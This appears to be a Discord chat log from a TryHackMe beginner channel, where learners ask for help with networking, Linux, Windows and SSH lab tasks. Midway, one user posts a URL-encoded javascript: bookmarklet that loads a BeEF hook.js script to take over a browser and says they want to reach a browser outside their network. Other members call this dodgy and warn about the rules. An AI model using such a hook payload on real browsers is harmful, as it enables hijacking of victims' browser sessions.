pre-security-legacy-path

[delicate forum]

you have to remember that to send traffic somewhere you need an IP, but instead of knowing millions of IP's we use the A Record to tie a name to the IP

[vapid epoch]

Ok now i get it thanks!

[clever galleon]

I don't understand, the OSI model room doesn't have Layer 8 topics? 😉 lol

[stiff harbor]

A good way for remember the OSI model is this. “Please Do Not Throw Salami Pizza Away” — bottom to top reminder.
“All People Seem To Need Data Processing” — a top-to-bottom reminder. I hope this helps

[potent wedge]

shadow goes with "please do not trust service people anyway"

[clever galleon]

Oh no I am sorry, I know the OSI model, I was checking out the new courses. I just made a layer 8 joke

ID10T error joke lol

Programmers Do Not Throw Sausage Pizza Away

I used to know a dirty one too but I can't remember now. lol

[potent wedge]

or the fun one:

people don't need those stupid packages anyway

[clever galleon]

lol

[potent wedge]

helps you with remebering udp to a degree

[clever galleon]

https://tenor.com/view/throw-yeet-recording-gif-14308236

UDP Packets

[lost mural]

pre-security done. Moving on, this is so exciting! CySec is really, really huge!

[lavish gorge]

Hello, as a complete beginner, I had just enrolled in "Starting Out In Cyber Sec" room and there in task 3 and 2 there are links that link to "Detect Attacks Using Splunk" and "Analyse Memory To Trace An Attackers Actions Using Volatility" etc for practical hands-on experience. Should I like complete those now itself? or like wait for tomorrow to complete?
#pre-security-legacy-path

[drowsy coral]

leave them for now I would say

[cyan forum]

In "How websites work" in task 3 and 5, I have zero idea what the flag is/should be. There is no logic to those two tasks in according to providing a flag. I have done explicitly as written, but I dont see any way a flag would show - or any guidance to what the flags should be.

[lavish gorge]

Thank you @drowsy coral

[somber current]

Gave +1 Rep to @drowsy coral

[cyan forum]

In "Putting it all together" no flag is showed at the end of successfully completing the quiz

[celest mason]

Hi. I was checking the "new" room (I was not on THM since 3 months, didn't see it yet), on Linux Fondamentals part2, there's a wrong screenshot in task 5. After the sentence "The diagram below is a great representation of how these permissions can be translated", the screenshot is for the next part. about switching between users, instead on listing the read/write/execute permisions. Hope it helps

[gritty dew]

Hi, I'm in task 1 intro to Lan and I couldn't find the flag for this interactive lab. Can someone pls help me out?

Like, I'm done with a ring topology and bus topology, but I couldn't able to go further from here.

Am I missing something or doing something wrong? Pls someone correct me. I'm new here 😦

Sorted 👍

[celest mason]

Hi Vishal. For the bus topology , it is indicated in the previous messages that it is necessary to overload the network to make it fall by sending as many packets as possible (as this typology is not optimized, each packet will knock at all the doors until finding the good recipient).

[patent temple]

Hello Evermore, if you have had help please ignore me. Task 3, you need to input the script within line 9 and then click the button on the top-right of the site "Render HTML+JS Code" Then you should get an output message on the browser for the flag.

As the question asks you: add JavaScript that changes the demo element's content to "Hack the Planet"

You should get the output relatively easily, just take your time with the tasks as overloading yourself with information may burn you out 😄

Task 5, I had a problem with. I think I suggested it to the THM team, as the use of the "enter" button on your keyboard doesn't like it. Write your code within the "What's your name?" and physically click the button "say hi".

[warm epoch]

This seems like a big spoiler

[patent temple]

edited, sorry James

[topaz trail]

Hi, in enumerating telnet normal nmap scans not working. Can anyone guide me which option to use

[warm epoch]

Scan from 1000 to 9999 if you want a fast scan

You know it's 4 digits long

[marsh veldt]

hey guys

pls help me asap

I am stuck at Windows fundamentals part 1 at task 6 last question

“What is the account status?”

WHAT IS THE ANSWER COS I LOOKED N I LOOKED AND I CANT FIND IT

😭😭

[topaz trail]

Thanks completed the scan

[somber current]

Gave +1 Rep to @warm epoch

[rough delta]

It is specified under the name of the account you found in question 1

[marsh veldt]

Thank you 💗

[nimble spoke]

Thanks man, this was a real help in memorizing the OSI layers. Mnemonics are great.

[somber current]

Gave +1 Rep to @stiff harbor

[cyan forum]

Hi MrFernze
I see that it actually is broken.
When this is done in Chrome, an error occurs: "howwebsiteswork:1 A different origin subframe tried to create a JavaScript dialog. This is no longer allowed and was blocked. " So the task is broken, and will only work on certain browsers. I know that many in the community might not like Chrome, however on a learning page like this, it seems broken that a specific task wont work on chrome.

and same problem on task 5.

[patent temple]

@cyan forum I use chrome, I didnt have any issues for me. No clue...

[zealous horizon]

hello I am not rly sure if this is even the correct channel to ask that, but can someone explain ssh to me, i know its like on port 22 and is used to remotely do stuff, but... does port 22 need to be open on the device im connecting to? device im using? im like trying everything and nothing seems to work (also trying to connect to my other pc in the same network, not sure if the ip is even correct but i think so lmao)

and also can u do the stuff without using the attacker box and instead using your own terminal to connect to the thing

and if yes how

[ripe geyser]

@zealous horizon If u want to connect to a device using ssh, that device must have the ssh service running (mostly on port 22) and that port would be open. If u just need to connect to a device with ssh, port 22 on ur device doesn't need to be open. Ports are open when a service is running specific to that port.

If the other pc in ur network has ssh running on port 22 then u must be able to connect to it. If not u might be using the wrong password/username/IP of the target device. Both in windows and linux the ynatx to connect to ssh is 'ssh (user)@(host_IP)'. U can do this out of attack box too. For more info : https://www.hostinger.com/tutorials/ssh-tutorial-how-does-ssh-work and https://phoenixnap.com/kb/how-does-ssh-work.

[grim phoenix]

At 27 percent for pre security!

[marsh veldt]

Hi, I’m on VPN basics. It says « VPN that logs all of you data/history is essentially the same as not using a VPN in this regard ». The question is why then to use VPN if there is no anonymity? And the traffic can be tracked?

[warm epoch]

There's something called a "threat model". It describes what threats you're including and ignoring, who they are, etc.
If you're worried about say... someone stealing information on an unprotected wifi network with http sites then a VPN is great

[marsh veldt]

Ok, great. Thank you very much!

[somber current]

Gave +1 Rep to @warm epoch

[lunar sage]

Hello Everyone! Just joined THM and this Discord Server, really excited about starting my Journey in Cyber Security, although I am a Complete Beginner, I hope to learn something of value everyday, let's begin! 😇

[grizzled flax]

Windows fundamentals is so dull

[gilded garden]

in Linux fundamentals 3, general /useful utils, after launching the server, my machine just sits there...

am i missing something, did i not read something?

so lost lol

[alpine dock]

Hello everyone. I have a question. I just completed the pre security path and im wondering if i can use it as ceu's for CySA+

or maybe i need to do the defensive path

?

[marsh veldt]

Hi, in the Windows Fundamentals 1, what's the answer please for:
Besides Clock, Volume, and Network, what other icon is visible in the Notification Are?: (2 words with 6 letters each), I can't find it. Thank you in advance.

[mint flower]

All you have to do is right click the bottom right icon and your answer should be there.

The notifications icon

[marsh veldt]

Thank you!

[somber current]

Gave +1 Rep to @mint flower

[mint flower]

I wouldn’t post the answer. But I’m glad you found it!

No problem!

[marsh veldt]

ok, i delete it

[pseudo coral]

Pre-Sec what’s up?

[marsh veldt]

Pre-Sec path finished today!!! 🎉

[mint flower]

Congrats!

[marsh veldt]

Thanks!..can’t wait to go the next path 💪

[marsh veldt]

Just finished off the OSI module. 🙂 Im just starting software dev and found the TCP UDP pretty cool. I am of course wondering what the quality assurance code would look like and such as a noob. Eye opening.

[static prism]

Hi guys, asking for some help regarding xfreerdp on mac, I'm not able to get it to work, so any advice or writeup?

Thanks

[marsh veldt]

I Just reached there too

[marsh veldt]

I'm very new so it was all really interesting!

[dusky marsh]

hey all anyone up to Windows Fundamental 2?

finding it hard to find out any of the questions tbh

one example is below, Im stuck i have spent few hours on google i can find anything

What is the command for Windows Troubleshooting? *.*********. / . << that is apparently the answer lol

[rain vine]

Open up 'System Configuration' and in the 'Tools' tab look for a tool related to troubelshooting. If you click that it will display the command.

[dusky marsh]

Hey Serpente thanks eventually found it thanks 👍

[hidden cypress]

Hey guys,
In one of the lab they have showed how MAC spoofing works but they didn't show how to spoof MAC ?
Does anyone know about this ?

[warm epoch]

Google does

[distant cargo]

😆

[normal marsh]

"Deploy the interactive lab using the "View Site" button and spoof your MAC address to access the site. What is the flag?"
Could anyone explain to me what exactly I am supposed to do?

[drowsy coral]

what part of that are you having trouble with exactly?

[normal marsh]

i got it now, sorry I'm just a bit slow in this.

[drowsy coral]

no problem, glad you got it. for most of the pre-security rooms the answer should be in the text associated with the task 😄 gl!

[oblique solar]

I need help, I have restarted it and terminated but nothing is working with Linux pt3 it keeps on denying me access what should I do?

[warm epoch]

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[warm epoch]

Follow those steps, show screenshots
We can't see your screen, we don't know what you're doing so we can't really help

[oblique solar]

level 4 subscription premium

[warm epoch]

Your syntax is incorrect

Look at what it's trying to do

It's trying to log in as root@tryhackme

not tryhackme@ip

[oblique solar]

so I have to type in ssh tryhackme@ip ?

So sorry I am quite new to all this I truly apologize for the inconvenience

thank you so much I really appreciate it.

[ocean raven]

Hi, I’m in “Extending your Network” task 6 : neither my iPad nor my Mac computer allow me to send any packet in the Network Simulator

[ocean raven]

Now using a windows pc everything went fine. What should I do to make it work on Apple? Thank you

[naive bloom]

hey I am having issues with the how websites work room. I have done all the exercises and I got them all correct. But it is not giving me the complete signal. Has this happened to anyone else ?

[naive bloom]

all good I worked it out

[naive bloom]

im stuck on question 8 of the windows fundamentals 1 "What is the last setting in the Control Panel view?

[warm epoch]

@ocean raven Please don't post answers

Guide them towards the answer with help, don't spoil it by dumping the answers

[ocean raven]

Oh ok. When I had problems yesterday nobody could help. But to delete answers you’re fast. 👍🏼👍🏼👏👏 The active machines are so frustrating: super slow, often won’t let me click or write where I should and won’t work on my Apple devices. Any help on that?

[warm epoch]

Make a Kali VM and use that?

[ocean raven]

I’m a total beginner starting from zero. If I knew how to do that easily I wouldn’t be here?

[warm epoch]

Post in #site-bugs if the site is behaving differently on MacOS

[naive bloom]

okay I will post the bugs as well. But yes they can be slow.

[low crescent]

hello, I have a little problem

[marsh veldt]

Explain it directly

[twin sleet]

https://dontasktoask.com

[low crescent]

I was just occuped it is for that I can’t finish my sentence

Sorry my guy

[lusty knoll]

wsp.

[tranquil bough]

I've done 2 rooms so far. Do I need to subscribe to do the pre sec course or is it free?

[near bane]

you only get the free parts of the course, if u want full access to the course than u subscribe

[tranquil bough]

Ok understood. Thanks

[somber current]

Gave +1 Rep to @near bane

[nimble karma]

Woot Just finished this path 😀

[queen stump]

Congratulations! What are you moving on to?

[balmy dawn]

What path should I do next after pre security is complete? Is there any recommended order for paths?

[buoyant swan]

I think compteA is a good path

[soft snow]

I would say the complete beginner path will be a good one to follow up with, but obviously it's up to you, but some other paths will be more advanced 🙂

[buoyant swan]

yes i agree on that too

[balmy dawn]

Cheers it’s what I thought too

[soft snow]

Not a problem, also the advent of cyber rooms are pretty cool. They include beginner friendly stuff and kind of a little bit of everything.

[buoyant swan]

sincerely, i just finished pre-security me too but i dont feel like i can do something, do i need to practice or with time in learning paths i will develop my abilities. some advice plz

[runic turtle]

The learning paths will allow you to learn and practice.

At the very beginning is normal to feel overwhelmed.

[soft snow]

Ye, the pre security path is just a very very basic thing, so by simply doing that you won't be able to do much, there has to be much more practice and knowledge. So just keep on going with other paths, like the complete beginner one, even there you might be stuck sometimes, but your first approach should always be to google it. If you still not able to understand or find the solution, the THM community is a great place to ask for help.

[distant cargo]

Will do

[nimble karma]

I’m actually going to do the Complete beginner path next

[queen stump]

I’m right behind you! Good luck.

[rich jungle]

I'm having some issues with task n4 in linux fundamentals 2

can only open the attack box and not the deployable machine

[runic turtle]

Have you started the machine (task 2), then tried to ssh from the attack box?

[rich jungle]

there we go, forgot that detail, thanks!

[somber current]

Gave +1 Rep to @runic turtle

[hazy rose]

Hey

[neat glade]

hi

[rain quiver]

Yo

@hazy rose @neat glade get verified first !docs verify

!docs verify

[rain berry]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[rain quiver]

Here u go

[hoary oracle]

Hey i've got a question

[rich jungle]

Hello, I'm having an issue getting the python3 HTTPServer to open in linux fundamentals 3, task 4.

this is what I get after I connect by ssh to the VM

[warm epoch]

Yep, it's working

[rich jungle]

ok so I can put in my command to download the file and it will work?

[potent wedge]

oh wait you might be starting that webserver on the wrong machine or trying to download it from the wrong one

[median mica]

You need to type the command into a new terminal window. Currently, the http server is running from that window so you can't input anymore commands there until you stop it

[rich jungle]

Awesome thank you

[somber current]

Gave +1 Rep to @median mica

[median mica]

Np

[neat glade]

Are there any teams I can be a part of >>?

[covert shard]

^same, looking for one too, would be pretty cool

[red prism]

same here

[supple marlin]

hello

[formal condor]

hi

[viscid wedge]

Hi !
I'm on the part 2 of the Linux Fundamentals, the task 2
But when I run the SSH command, i'm unable to enter the password, when I type it on my keyboard.

[tepid shadow]

Typing is hidden 😉 Just enter password and confirm with enter.

[viscid wedge]

Oh, thanks ! 😄

[north hearth]

smh, does this happen with everone😂

samething happened with me in my first time lmaoo

[marsh veldt]

Hey I got a question about networking. What does it mean when a subnet mask is 255.255.224.0? Why isn’t it just 255.255.255.0? Any help or info would be super appreciated. Thank you!

[median mica]

It means it's not a /24 network. If the subnet is 255.255.224.0 then it's a /19 network. Meaning there are more hosts on it.

[marsh veldt]

ok thank you @median mica

[somber current]

Gave +1 Rep to @median mica

[inner star]

outside of the obvious, (i.e. the name of the room) whats this place all about?

im trying to learn all I can and this place sounded like a reasonable place to start

[median mica]

Pre security is the pathway designed for people who want to get into CyberSec but don't have the comouter/networking background requires. You'll learn basic networking concepts, basic web concepts, and well as an in depth explanation of how the windows and Linux Operating Systems work

It will give you the required foundation to enter the Cyber Sec field

[tidal forge]

hello, i have a question. network-services -> Enumerating telnet -> for the answers a backdoor and Skidy. is there any other way to get those 2 results in an nmap scan without doing a full scan. i have tried watching youtubers and all of them either did a full scan or they searched online to get those 2 answers. i also tried different nmap commands and i can't get this as a result... all i get is "8012/tcp open unknown"

[median mica]

Can you send the Nmap command you used?

[tidal forge]

i tried the following nmaps : nmap -sT, sU, sS also sX but always limited to around 10 ports like -p 8010 - 8020

yesterday i did a full scan [nmap -A -sV -p- IP] of all the ports and it took me 1h:34min so i would like to be time efficient today and try to improve while i learn

[median mica]

Well, if you know what port you're looking for you can run a detained scan on that port alone. Nmap allows you to pick a specific port if you want to

You'll want to use the -A flag

And I usually use -T4 to speed the scan up a bit

[tidal forge]

thank you joker, this worked, nmap -A -sV -T4 -p8012 [IP]

[median mica]

Np

[marsh veldt]

Is it just me or does the Linux Part 2 Permissions 101 really disconnected? It keeps referencing a lot of stuff that isn't in the pre-security-pathway or the previous Linux parts.

[median mica]

Ot should be trying to teach you new things

If there's something you don't understand, Google it

That's the go to for most advanced things too so it's a good habit to get into

[marsh veldt]

ok thank you @median mica

[somber current]

Gave +1 Rep to @median mica

[brave aurora]

hi, i have a link that can connect to your system

but im not sure how to use it in my windows machine someone can help

?

javascript:%20(function%20()%20{%20var%20url%20=%20%27http://0.0.0.0:3000/hook.js%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();

this connects to beef so dont use it plea

se

trying to run it as a js wont work

[cinder nexus]

What exactly are you trying to do?

[brave aurora]

im trying to access a windows browser outside of the network

[cinder nexus]

Pretty sure that beef is out of scope for this pathway ;)

[cinder nexus]

To what end?

[brave aurora]

?

i didnt understand you

[cinder nexus]

I mean that sounds dodgy

[brave aurora]

which can be then?

[brave aurora]

my own i run kali in vm i wanna hack this browser

[cinder nexus]

Still sounds pretty dodgy to me

[brave aurora]

¯_(ツ)_/¯

btw will my ip be diffrent on windows and kali? if yes how do i see them both

[cinder nexus]

Yes

[brave aurora]

oh, got you

if i reveal my ip adress can anyone do anything with it?

[cinder nexus]

Just be warned that there are very few ethical uses for BeEF, and at your level basically none.

[brave aurora]

just the ip address

[cinder nexus]

Consider an ip address like a street address

[brave aurora]

oh

but what about the fact that there can only be 0-225 in a octanet?

there must be more than that in the whole world

[cinder nexus]

In an octet?

[brave aurora]

yea sorry*

[cinder nexus]

There are 4 billion or so ipv4 addresses in the world. Though some sections are reserved for internal use only

[brave aurora]

oh,got you

[brave aurora]

which one will you suggest then?

[cinder nexus]

Notably the 10.0.0.0/8 range, the 192.168.0.0/16 range and another weird one in the 172s

[cinder nexus]

I'm still not sure what you want to do and why

[brave aurora]

i wanna get into ethical hacking and cyber security ive tried using tryhackme cources but now there just paid

and as of now im trying to look for a way to learn hack windows and access stuff and how can i prevent it

[cinder nexus]

There are plenty of free rooms, I doubt you've done all of them

[brave aurora]

oh, ill check again but i think there were like 15 or less

[cinder nexus]

There are hundreds

[brave aurora]

oh

[cinder nexus]

Just a friendly warning, I'd carefully read the #rules and try to avoid contentious topics in the future, as you risk being banned.

[brave aurora]

@cinder nexus will

[marsh veldt]

Sorry if I'm pinging you, but I guess you're knowledgeable about this. Can anyone after completing the complete beginner path do a room?

What does it take to do one?

[cinder nexus]

You mean create one?

[marsh veldt]

^

This

Like the cat one

Or the others

[cinder nexus]

Oh yeah you can either use the search or the suggestions under the "learn" menu

There are no prerequisites

[marsh veldt]

No knowledge required

?

[cinder nexus]

Though some may be more difficult than others

Knowledge maybe ;)

But no arbitrary locks

[marsh veldt]

I'm very new to linux :(

I guess I'll have to wait a bit longer

[cinder nexus]

Did you do the Linux fundamentals rooms?

[marsh veldt]

Till I can do one

[marsh veldt]

Nope

I just finished studying DNS

[cinder nexus]

Might be a good start then

[marsh veldt]

Appreciate your help

Ty

[edgy cobalt]

Hello! This is kinda a basic question but I´ve been struggling with it for over 30 minutes, this is from Windows Fundamentals 1 , module 2:

Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?

---

[fickle ember]

can anyone help having trouble with decentraland on my browser it says WEBGL2

[warm epoch]

@fickle ember This channel is for the tryhackme pre-security pathway

[mint flower]

Right click the bottom right icon (Notifications) and your answer will be there.

[edgy cobalt]

You saved my day, thanks!!

[somber current]

Gave +1 Rep to @mint flower

[mint flower]

No problem! Happy to help!

[languid herald]

hi, need some help for javascript task not sur i'm understand the task

[languid herald]

ok i found it but not sur that i really understand

[mint flower]

This channel is for the pre-security path. I don’t believe any of the rooms cover JavaScript. What room are you in?

[languid herald]

how website work

maybe i need to go on the web-fundamentals-path?

[mint flower]

No you are correct. Thanks for clarifying. What do you have a question about? I’ll do my best to help.

[somber current]

Gave +1 Rep to @languid herald

[languid herald]

i don't have the logic for web coding it's totaly abstract for me so even if i have the answer ( sorry if my english is quiet strange, i'm not english ^^)

is it fundamentals to know web coding in infosec?

or just a speciality?

[mint flower]

Everyone will have a different answer for this question. It depends on what you end up focusing on. If you plan of doing a lot of web testing, knowing the basics of JavaScript can help a lot. Knowing how to read it and figure out what it is doing is important. Knowing a bit of JavaScript can be a really good thing.

[languid herald]

i would like to be a pentester so i think is indispensable no?

a lot of people around me told me to learn python

more than java or html5

[mint flower]

You should learn some JavaScript. It will come in handy. Python is also a good language to learn. It’s very useful. Luckily THM has a few rooms on Python and it has a room called JavaScript Basics. Run through those rooms and get some scripting knowledge!

[languid herald]

thanks a lot man! and well i go now!

[mint flower]

No problem!

[marsh veldt]

Hi, I'd like to ask you a question about my problem with the "Linux Fundamentals Part 3" room. At my ssh connection request, inserting username and password "tryhackme" without quotes, the message "Permission denied" appears. Could anyone help me? Everything is correct 😦

i'm trying to connect via attackbox..

[limber oasis]

What's the command you are using.

[marsh veldt]

i'm stupid, i'm sorry. I've inverted commands. instead tryhackme@IPADDRESS i write IPADDRESS@rain berry

[limber oasis]

Good to go then?

[marsh veldt]

yes, now it's work. thanks anyway for the support

[languid herald]

hello everyone! can someone tell me if in windows fundamentals2 task4 question 2 works? cause i have the good answer but it's tell me that is wrong can someone check please?

[soft snow]

What's the answer you entered? Send me a DM with it and I'll let you know if it's correct or not.

[runic crest]

Hey everyone

👨‍💻

[tidal ibex]

for most of the presecurity i havent made notes but can memorize most of it, does it matter i dont have any notes, especially as i can go back later to remember

[median mica]

The presecurity stuff isn't particularly hard to remember. However, it's good to get into the habit of taking good notes because as you progress and learn more things you'll need notes to refer to. On top of that, it's just good to get into the habit of documenting everything you do

[edgy cobalt]

Which apps you recommend to take notes??

[median mica]

I started off using keepnote however it's very outdated. It's also not supported on Linux anymore if you ever end up swapping to a full Linux system. I like cherrytree which comes installed in kali. I think there's also a windows version for it but I'm not sure

[edgy cobalt]

Thank you! I started using One Note, but it have lot of things that just complicates things to me. I´ll be using the one you´re recommending me. Thx!

[somber current]

Gave +1 Rep to @median mica

[median mica]

There are tons out there. What works for me might not work for you. Research and try new things

[crystal meadow]

Hello! I have a question for the Regex room, it was recommended at the end of the Linux Fundamentals. Is that alright for this room?

[drifting rapids]

hello i have a question about the windows fundementals 1 room

regarding a question i'm stuck on

[warm epoch]

If you would like help, you really need to ask the question outright.

[shadow tiger]

Can anyone tell me the sequence of rooms I should start learning. I have finished some basic rooms like linux fundamentals and nmap fundaments. What should come next?

[soft snow]

I would go with paths. So for example start with the pre security path and after that continue with the complete beginner path.

[shadow tiger]

Ok

Can you tell me how to find the ip address of our target?

[soft snow]

If there is a target machine attached to the room, then there is a green(not blue) button "Start Machine" and above the tasks a box will appear that looks similar to this:

[shadow tiger]

I am not talking about machines in THM. I am talking about real world targets?

[soft snow]

Uhm, you could look up for bug bounty programms.

[shadow tiger]

What is the function of these programs?

[soft snow]

Well that's basically companys who allow people to do penetration tests on their web application or other infrastructure (always read carefully on what the scope is) to find vulnerabilities and report it to those companys, where in return you get paid for it or other benefits. But that would be a possibility if you look for real world targets. But there is even a dedicated channel in the THM discord for that, where you might get better informations about that then from me. #bug-bounty

[shadow tiger]

Ok thanks man

[soft snow]

You are welcome

[shadow tiger]

I am trying to ping a machine in the same internet network with my kali machine. But it isn't happening. Any suggestion what might be wrong here?

[coarse plover]

Hello @shadow tiger maybe the machien doesn't accept ICMP (PING) try nmap it with verbose mode (-vv) and ignore ping using -Pn. Quick question though, did you connect to the network via openvpn ?

Hope it helps 🙂

[warm epoch]

You're probably using virtualbox and they're both 10.0.2.15?

[sinful parrot]

Stick to the path, it take some time to understand the fundamentals of networking…. But the path is sooo good for the start!

[candid stream]

all machines does not response to icmp packets. run wireshark and see whats going on. if you want scan, just use -Pn to ignore the ping

[warm epoch]

Don't do this until you have the network set up correctly otherwise you're wasting time.
Also you should know if it responds to ICMP if you control it.

[soft snow]

Out of interest. If we are talking about ICMP Ping, we are talking about the ICMP echo request, right? Or any ICMP request? As my question would be, if a machine doesn't respond to the ICMP Ping (echo request) there is still a chance it could reply to an ICMP timestamp request, right? Or would that mean it doesn't respond to any ICMP request at all?

[warm epoch]

Ping is an ICMP echo request.

It might not reply to echos.
Something might be filtering all inbound or outbound ICMP traffic (not uncommon)

[soft snow]

Oh okay, so that means it most likely filters all ICMP traffic and not only the ping. Thx 🙂

[somber current]

Gave +1 Rep to @warm epoch

[warm epoch]

Blocking all ICMP outbound means you can't UDP scan effectively

You might be able to talk to a service like DNS but otherwise you're not going to be able to tell what's open

[soft snow]

Alright, thanks a lot.

[warm epoch]

It's worth mentioning that the default windows servwr firewall blocks ICMP from the public zone. THM VPN is marked as public, but AttackBox is usually counter as private zone

[soft snow]

So that I understood you correctly, that would mean there is a chance you could successfully ping a machine from the attackbox while you would get no reply when doing it from your own machine while being connected to the THM VPN ?

[warm epoch]

Correct, try it with the furthernmap room

[soft snow]

Will do 🙂

[hazy rose]

Hi guys

I have a question

in hacking domain

[ember dust]

Who here can help me read a firewall log ?

[fleet narwhal]

@ember dust What do you need help with?

[ember dust]

needed help in how to read a firewall log?

[warm epoch]

Is this related to the TryHackMe Presecurity pathway?

@elfin star why is this channel aclled #pre-security-legacy-path when all the rest are xyz-path?

[marsh veldt]

I'm in the 'linux fundamentals part 2' room, and I can't connect to the machine.
I'm using the newest kali linux version, and configured openvpn successfully, but it says 'Connection Refused'

wow it worked right after i said that

[ember dust]

@warm epoch no

[kind hinge]

yeah. you need to give the machine a few minutes to boot up and start the services

[amber mist]

I'm on the linux fundamentals part 1, task 3. I started the machine. And Received an IP address. I nmaped it and only open port is 22. How am I supposed to connect to this machine without credentials?

Its supposed to open within my browser, but doesn't.

nvm, adblock was blocking the side panel with the machine

[iron pier]

Hi, this is my first post here so please be patient and understanding. I'm generally happy with the service (thinking to buy it for our class) ... HOWEVER, while solving this first path I came across a bug/question that is a bit ridiculous compared to the complexity of the full TryHackMe experience. In room "Extending your network", question 1 is "
What layers of the OSI model do firewalls operate at?
"... Aside the complexity of this question for such a beginner room. I was forced to put in "Layer 3,Layer 2" which is what the video shows... AND when coming back to the question I see "Layer 3,Layer 4" as correct answers (as though I HAVE entered that). Soooo... which one is it ? (the correct answer)... I mean... I'm confused myself (I don't claim to know TOO much but still I should be teaching this at a beginner's level). Just saying that WHEN considering to take your subscription and buy it for 15 people - I'm not expecting this kind of "misleads"... Can anyone please assist me with this issue ? Thank you very much !

[midnight marsh]

Depends on the firewall, honestly. I'd say both are valid answers

[warm epoch]

Answers change and are corrected.
The videos are not updated.
Copying from the video will mislead you where answers have been corrected or updated.

[iron pier]

Yeah... the question is just way too complex for a beginner !

[iron pier]

Thank you !

[somber current]

Gave +1 Rep to @warm epoch

[opal root]

Hi there, I am doing windows fundamentals room, trying to connect to the machine from remmina with RDP but it isn't connecting. Do I have to access it via OpenVPN?

[heavy schooner]

if you're not using the AttackBox or the web-based Kali/Windows machine to connect to the victim machine, you'd have to connect via OpenVPN

i think the web-based attacker boxes and the machines you spin up in THM are inside the same internal network, which is why you could e.g. directly do nmap scans on victim machines with the web-based boxes

but your own computer couldn't access this internal network unless you connect via OpenVPN

[opal root]

I'm not using attackbox or OpenVPN. I'm going to try. I should have checked.

I'm going to try with OpenVPN

[heavy schooner]

you'd have to pick between either of these two choices so that you could access the victim machines on THM

i personally use both: i've found the AttackBox to be able to do directory fuzzing, hash cracking and nmap scans much faster than my laptop could, whereas my laptop is mainly used for accessing the victim machine's services (SSH, web, FTP, SMB, ...)

[marsh veldt]

Windows Fundamentals 1
Trying to access the machine using rdesktop in Kali.

Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Failed to connect using NLA, trying with SSL
Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).
Can someone help out?

Managed using xfreerdp

[soft snow]

So it's working now or not?

[marsh veldt]

Working using xfreerdp /u:[username] /p:[password] /v:[IP].

[soft snow]

Alright

[marsh veldt]

How can an admin see regular users' passwords? (I just changed it. )

[soft snow]

He usually he can not as far as I know. But if it's regarding that room, the password is somewhere stored in cleartext for that tasks question you are on. But if you said you changed it you might do a different task.

[marsh veldt]

Note: You have the username and password for the standard user. It's visible in lusrmgr.msc.
I can't get to the password of the standard user (tryhackmebilly).

[soft snow]

You have to take a closer look, it's stored in the lusrmgr as a comment.

[marsh veldt]

Aahhhh. Changing it was easier. 🙂 Thanks.

[somber current]

Gave +1 Rep to @soft snow

[marsh veldt]

Windows Fundamentals 2:
How do you know that this share is hidden? (Besides having a peculiar name)

[marsh veldt]

Thanks to the community.

[molten arch]

Are the youtube video on top of each room the same as the text ?

[toxic stream]

hi guys I am new to this platform can you tell me what does it mean to be subscribed

every one is talking about getting verified and getting subscribed in bot channel

congratulation @marsh veldt

I appreciate your hard work and effort. Hope you learned a lot from this community.

I also look forward to be a part of it and learn a lot from each other

[soft snow]

Well you can access premium rooms for example, as well as that the attackbox isn't limited to 1 hour per day.

But you can also check out the FAQ https://tryhackme.com/faq

[toxic stream]

so like do I have to pay for it on monthly bases

[soft snow]

You have to yes

[toxic stream]

oh I see

thanks for the info @soft snow

[somber current]

Gave +1 Rep to @soft snow

[toxic stream]

what is a +1 Rep

[marsh veldt]

very little for the quantity and quality you are getting.

[soft snow]

Reputation

[toxic stream]

ok i guess the Robocop want me to give you a +1 rep 🙂

and how do I do it

[soft snow]

It's for saying thanks for example if someone helped you, he will get reputation for that.

[toxic stream]

I have seriously no idea how to use discord, my apologies

[soft snow]

robocop already did, that's what the messages means, so you don't have to do anything.

[toxic stream]

okay and if I have to do it myself, then how would I do it

[soft snow]

Well by saying thanks and either answer to a message from someone or tag him, but tbh that reputation thing is not too important, it's kind of a fun gadget tbh

[somber current]

Gave +1 Rep to @soft snow

[toxic stream]

okay thanks a lot for clearing that out @soft snow

I got it know 🙂

@soft snow where have you reached in pre security so far

what have you finished lately

[soft snow]

Pre sec I finish quite a while ago, lately I finished the jr pentester path

[toxic stream]

wow that is so great

how do you feel now

did you apply all of the knowledge you learned on real machines

that you get when you subscribe to TryHackMe monthly package

[soft snow]

Well I feel that I gained a lot of valuable knowledge which is great 🙂 I have not applied it on real machines yet.

[soft snow]

What you mean with "that you get" ?

I think most of the rooms from the jr pentester path are free anyways and you can deploy target machines without being subscriber. These target machines are not limited to 1 hour, it's only the attackbox (so the machine you are attacking the target machines with)

[toxic stream]

Wow that's great to know 👍

[soft snow]

If you set up your own VM with for example kali linux and connected via openvpn, you can just do all of the free rooms without time limitation

[toxic stream]

Awesome bro 👍

This is what I was talking about earlier

[soft snow]

Ok, well ye, it's just the attackbox and "better" vpn servers. I mean it's a very low price for the value of knowledge you get, there are other sites much much more expensive. But as I said, you can do all the rooms that are free without being subscriber and without time limitation too.

[noble sedge]

hey guys, need your little help. trying to establish my ssh but it just keeps saying "permission denied" whenever I fill in the password. what could be the matter?

password is "tryhackme", isn't it?

[marsh veldt]

Which room? Which task?

[noble sedge]

linux fundamentals part 3, since the very beginning

[marsh veldt]

Can you quote the command you are using to log in?

[noble sedge]

ssh tryhackme@10.10.221.17

or any other ips that I had before

[plucky vault]

Give a screenshot, it could be something else too

[turbid grove]

having the same issue.
ssh tryhackme@machine_ip

[median mica]

That's the exact command you're using?

[turbid grove]

Nope. Using the IP of my current machine.

[median mica]

Ok just making sure

[turbid grove]

Ya never know i guess haha

[median mica]

You'd be surprised how many people make that mistake

[turbid grove]

I can imagine.

[median mica]

So, just double checking, it's saying permission denied when you try to ssh into a room?

[turbid grove]

Yep after entering the password

It has for multiple days in a row.

[median mica]

Can you send the link for the room?

[turbid grove]

Im logged off for now. Will get back to you when I'm back on if that's cool

[median mica]

Yea no worries. I'll be busy most of the day tommorow, but I'm sure someone else will be able to help you. If not, then I'll help you out when I get a chance

[turbid grove]

I should mention, i successfully logged ssh in the past. I know how to do it but there seems to be an issue.

I think another guy mentioned it above.

